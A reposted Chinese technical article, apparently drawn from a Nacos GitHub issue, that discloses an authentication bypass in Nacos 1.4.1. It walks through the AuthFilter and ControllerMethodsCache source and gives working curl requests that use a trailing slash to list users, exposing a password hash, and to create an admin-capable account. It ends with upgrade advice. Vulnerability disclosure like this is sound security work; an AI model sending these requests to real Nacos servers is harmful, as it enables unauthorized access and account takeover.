当前位置:   article > 正文

阿里 Nacos 惊爆,安全漏洞以绕过身份验证,附修复建议

nacos 1.40漏洞

点击上方“服务端思维”,选择“设为星标”

回复”669“获取独家整理的精选资料集

回复”加群“加入全国服务端高端社群「后端圈」

作者 | threedr3am

出品 |占小狼的博客

我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。

通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,才能避免User-Agent: Nacos-Server绕过鉴权的安全问题。

但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:

调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test),然后使用新添加的用户登录console,访问、修改、添加数据。

一、漏洞详情

问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter:

  1. public class AuthFilter implements Filter {
  2.     @Autowired
  3.     private AuthConfigs authConfigs;
  4.     @Autowired
  5.     private AuthManager authManager;
  6.     @Autowired
  7.     private ControllerMethodsCache methodsCache;
  8.     private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
  9.     @Override
  10.     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
  11.             throws IOException, ServletException {
  12.         if (!authConfigs.isAuthEnabled()) {
  13.             chain.doFilter(request, response);
  14.             return;
  15.         }
  16.         HttpServletRequest req = (HttpServletRequest) request;
  17.         HttpServletResponse resp = (HttpServletResponse) response;
  18.         if (authConfigs.isEnableUserAgentAuthWhite()) {
  19.             String userAgent = WebUtils.getUserAgent(req);
  20.             if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
  21.                 chain.doFilter(request, response);
  22.                 return;
  23.             }
  24.         } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
  25.                 .isNotBlank(authConfigs.getServerIdentityValue())) {
  26.             String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
  27.             if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
  28.                 chain.doFilter(request, response);
  29.                 return;
  30.             }
  31.             Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
  32.                     req.getRemoteHost());
  33.         } else {
  34.             resp.sendError(HttpServletResponse.SC_FORBIDDEN,
  35.                     "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
  36.                             + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
  37.             return;
  38.         }
  39.         try {
  40.             Method method = methodsCache.getMethod(req);
  41.             if (method == null) {
  42.                 chain.doFilter(request, response);
  43.                 return;
  44.             }
  45.             ...鉴权代码
  46.         }
  47.         ...
  48.     }
  49.     ...
  50. }

可以看到,上面三个if else分支:

第一个是authConfigs.isEnableUserAgentAuthWhite(),它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);

第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue()),也就是nacos 1.4.1版本对于User-Agent: Nacos-Server安全问题的简单修复

第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应

问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value进行匹配,若不匹配,则不进入分支执行:

  1. if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
  2.     chain.doFilter(request, response);
  3.     return;
  4. }

但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。

再往下看,代码来到:

  1. Method method = methodsCache.getMethod(req);
  2. if (method == null) {
  3.     chain.doFilter(request, response);
  4.     return;
  5. }
  6. ...鉴权代码

可以看到,这里有一个判断method == null,只要满足这个条件,就不会走到后续的鉴权代码。

通过查看methodsCache.getMethod(req)代码实现,我发现了一个方法,可以使之返回的method为null

com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod

  1. public Method getMethod(HttpServletRequest request) {
  2.     String path = getPath(request);
  3.     if (path == null) {
  4.         return null;
  5.     }
  6.     String httpMethod = request.getMethod();
  7.     String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
  8.     List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
  9.     if (CollectionUtils.isEmpty(requestMappingInfos)) {
  10.         return null;
  11.     }
  12.     List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
  13.     if (CollectionUtils.isEmpty(matchedInfo)) {
  14.         return null;
  15.     }
  16.     RequestMappingInfo bestMatch = matchedInfo.get(0);
  17.     if (matchedInfo.size() > 1) {
  18.         RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
  19.         matchedInfo.sort(comparator);
  20.         bestMatch = matchedInfo.get(0);
  21.         RequestMappingInfo secondBestMatch = matchedInfo.get(1);
  22.         if (comparator.compare(bestMatch, secondBestMatch) == 0) {
  23.             throw new IllegalStateException(
  24.                     "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
  25.                             + secondBestMatch + "}");
  26.         }
  27.     }
  28.     return methods.get(bestMatch);
  29. }
  30. private String getPath(HttpServletRequest request) {
  31.     String path = null;
  32.     try {
  33.         path = new URI(request.getRequestURI()).getPath();
  34.     } catch (URISyntaxException e) {
  35.         LOGGER.error("parse request to path error", e);
  36.     }
  37.     return path;
  38. }

这个代码里面,可以很明确的看到,method值的返回,取决于

  1. String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
  2. List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);

urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值

而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:

  1. new URI(request.getRequestURI()).getPath()

一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test',得到的path将会是/nacos/v1/auth/users,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is,得到的path将会是/nacos/v1/auth/users/

通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null条件将能满足,从而,绕过该鉴权机制。

二、漏洞影响范围

影响范围:1.4.1

三、漏洞复现

访问用户列表接口

  1. curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'

可以看到,绕过了鉴权,返回了用户列表数据

  1. {
  2.     "totalCount"1,
  3.     "pageNumber"1,
  4.     "pagesAvailable"1,
  5.     "pageItems": [
  6.         {
  7.             "username""nacos",
  8.             "password""$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
  9.         }
  10.     ]
  11. }

添加新用户

  1. curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'

可以看到,绕过了鉴权,添加了新用户

  1. {
  2.     "code":200,
  3.     "message":"create user ok!",
  4.     "data":null
  5. }

再次查看用户列表

  1. curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'

可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户

  1. {
  2.     "totalCount"2,
  3.     "pageNumber"1,
  4.     "pagesAvailable"1,
  5.     "pageItems": [
  6.         {
  7.             "username""nacos",
  8.             "password""$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
  9.         },
  10.         {
  11.             "username""test",
  12.             "password""$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
  13.         }
  14.     ]
  15. }

访问首页http://127.0.0.1:8848/nacos/,登录新账号,可以做任何事情

regards, threedr3am

三、 修复建议

2021年1月14日 Nacos 1.4.1刚发布,会直接在1.4.1进行hotfix。

请用户直接下载最新的1.4.1版本进行部署升级。

https://github.com/alibaba/nacos/releases/tag/1.4.1

BugFix

-[#4701] Fix bypass authentication(identity) problem.

https://github.com/alibaba/nacos/issues/4701

来源 | github.com/alibaba/nacos/issues/4701

— 本文结束 —

● 漫谈设计模式在 Spring 框架中的良好实践

● 颠覆微服务认知:深入思考微服务的七个主流观点

● 人人都是 API 设计者

● 一文讲透微服务下如何保证事务的一致性

● 要黑盒测试微服务内部服务间调用,我该如何实现?


关注我,回复 「加群」 加入各种主题讨论群。

对「服务端思维」有期待,请在文末点个在看

喜欢这篇文章,欢迎转发、分享朋友圈

在看点这里

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/754619
推荐阅读
  

闽ICP备14008679号